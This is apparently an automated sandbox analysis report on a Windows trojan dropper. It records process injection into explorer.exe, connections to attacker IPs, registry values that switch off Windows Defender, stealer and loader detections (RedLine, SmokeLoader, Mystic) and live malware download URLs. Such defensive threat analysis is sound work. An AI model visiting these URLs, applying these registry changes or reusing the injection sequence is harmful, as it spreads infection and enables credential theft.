Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003BB0DD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_003BB0DD
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B3BAC SetUnhandledExceptionFilter,	14_2_003B3BAC
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F36F40 SetUnhandledExceptionFilter,	40_2_00F36F40
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F36CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_00F36CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C46F40 SetUnhandledExceptionFilter,	41_2_00C46F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C46CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	41_2_00C46CF0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 77.91.68.61 80
Source: C:\Windows\explorer.exe	Network Connect: 77.91.124.231 80
Source: C:\Windows\explorer.exe	Network Connect: 5.42.65.80 80
Source: C:\Windows\explorer.exe	Network Connect: 77.91.68.29 80
Source: C:\Windows\explorer.exe	Network Connect: 77.91.68.78 80

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: fahrbrd.22.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe

Code function: 6_2_009C2289 CreateProcessW,VirtualAllocEx,GetThreadContext,ReadProcessMemory,GetConsoleWindow,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

6_2_009C2289

Creates a thread in another existing process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Thread created: C:\Windows\explorer.exe EIP: 2DB1950

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 421000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 428000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 42B000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 42C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4F3E008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 46CE008	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_008018A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_008018A3

Source: explorer.exe, 00000016.00000000.272342792.0000000005640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.270660620.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000016.00000000.270660620.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000016.00000000.270583918.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanDES
Source: explorer.exe, 00000016.00000000.270660620.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000016.00000000.270660620.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: :Program Manager
Source: explorer.exe, 00000016.00000000.272123844.000000000508E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndq

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_00A0D4CC
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: EnumSystemLocalesW,	6_2_00A016C7
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: EnumSystemLocalesW,	6_2_00A018B6
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: EnumSystemLocalesW,	6_2_00A0D897
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: EnumSystemLocalesW,	6_2_00A0D815
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: EnumSystemLocalesW,	6_2_00A0186E
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: EnumSystemLocalesW,	6_2_00A0D958
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_00A0DA05
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetLocaleInfoW,	6_2_00A0DCEC
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00A0DE5F
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetLocaleInfoW,	6_2_00A0DFA6
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00A0E0A8
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: GetLocaleInfoW,	6_2_00A02411
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_003FD4CC
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: EnumSystemLocalesW,	14_2_003F16C7
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: EnumSystemLocalesW,	14_2_003FD815
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: EnumSystemLocalesW,	14_2_003F186E
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: EnumSystemLocalesW,	14_2_003F18B6
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: EnumSystemLocalesW,	14_2_003FD897
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: EnumSystemLocalesW,	14_2_003FD958
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_003FDA05
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetLocaleInfoW,	14_2_003FDCEC
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_003FDE5F
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetLocaleInfoW,	14_2_003FDFA6
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_003FE0A8
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: GetLocaleInfoW,	14_2_003F2411

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe

Code function: 6_2_009CB61E cpuid

6_2_009CB61E

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00807155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00807155

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Code function: 4_2_00007FFCE0780B8D GetUserNameA,

4_2_00007FFCE0780B8D

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00802BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_00802BFB

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: AntiSpywareProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"

Source: svchost.exe, 0000001B.00000002.474071246.00000150F7429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: svchost.exe, 0000001B.00000002.474082167.00000150F7451000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000001B.00000002.474087850.00000150F7502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Mystic Stealer

Source: Yara match	File source: 9.2.AppLaunch.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.b1121980.exe.a36000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.b1121980.exe.a36000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.b1121980.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 18.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.c5286836.exe.426000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Mystic Stealer

Source: Yara match	File source: 9.2.AppLaunch.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.b1121980.exe.a36000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.b1121980.exe.a36000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.b1121980.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 18.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.c5286836.exe.426000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Native API	1 Windows Service	2 Bypass User Access Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Command and Scripting Interpreter	Logon Script (Mac)	1 Windows Service	2 Software Packing	NTDS	56 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Service Execution	Network Logon Script	712 Process Injection	1 Timestomp	LSA Secrets	361 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Bypass User Access Control	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	21 Masquerading	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	712 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Hidden Files and Directories	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	1 Rundll32	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	64%	ReversingLabs	Win32.Trojan.Plugx
e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	69%	Virustotal		Browse
e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	100%	Avira	TR/ATRAPS.Gen
e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	100%	Avira	HEUR/AGEN.1310591
C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	100%	Avira	HEUR/AGEN.1303828
C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	100%	Avira	HEUR/AGEN.1310591
C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	100%	Avira	HEUR/AGEN.1303827
C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\9AEE.exe	100%	Avira	HEUR/AGEN.1327101
C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	100%	Avira	HEUR/AGEN.1303828
C:\Users\user\AppData\Local\Temp\92C4.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\3F93.exe	100%	Avira	HEUR/AGEN.1310591
C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9AEE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\92C4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ADAB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3F93.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2334.exe	66%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\2334.exe	74%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\3D31.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\3D31.exe	4%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\3F93.exe	68%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\92C4.exe	67%	ReversingLabs	Win32.Dropper.Dapato
C:\Users\user\AppData\Local\Temp\92C4.exe	71%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\9AEE.exe	59%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\9AEE.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\ADAB.exe	40%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP000.TMP\e6072708.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP000.TMP\e6072708.exe	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP000.TMP\k4830352.exe	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	70%	ReversingLabs	Win32.Trojan.Plugx
C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	70%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	66%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	60%	ReversingLabs	Win32.Trojan.MysticStealer
C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	29%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP001.TMP\j8864040.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	78%	ReversingLabs	Win32.Trojan.Plugx
C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	65%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	0%	URL Reputation	safe
http://77.91.68.29/fks/	100%	URL Reputation	malware
http://5.42.92.211/	100%	URL Reputation	malware
http://77.91.68.61/fuza/2.bat	100%	URL Reputation	malware
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	0%	URL Reputation	safe
http://77.91.68.78/lend/stubweb3.exe	100%	URL Reputation	malware
http://5.42.92.211/loghub/master	100%	URL Reputation	malware
http://77.91.68.78/lend/clean.exe	100%	Avira URL Cloud	malware
http://77.91.124.231/new/foto7447.exe	0%	Avira URL Cloud	safe
http://en.wi	0%	Avira URL Cloud	safe
http://5.42.92.211/loghub/masterll	100%	Avira URL Cloud	malware
http://77.91.68.78/lend/d3xi5rws2ffuli.exe	100%	Avira URL Cloud	malware
http://crl.ver)	0%	Avira URL Cloud	safe
http://77.91.124.231/smo/exto.exe	0%	Avira URL Cloud	safe
http://77.91.124.231/new/foto7447.exe	17%	Virustotal		Browse
http://77.91.68.78/lend/d3xi5rws2ffuli.exe	20%	Virustotal		Browse
http://77.91.68.78/lend/clean.exe	19%	Virustotal		Browse
http://77.91.124.231/smo/exto.exe	22%	Virustotal		Browse
https://%s.xboxlive.com	0%	Avira URL Cloud	safe
http://5.42.65.80/rockss.exe	100%	Avira URL Cloud	malware
https://dynamic.t	0%	Avira URL Cloud	safe
https://%s.dnet.xboxlive.com	0%	Avira URL Cloud	safe
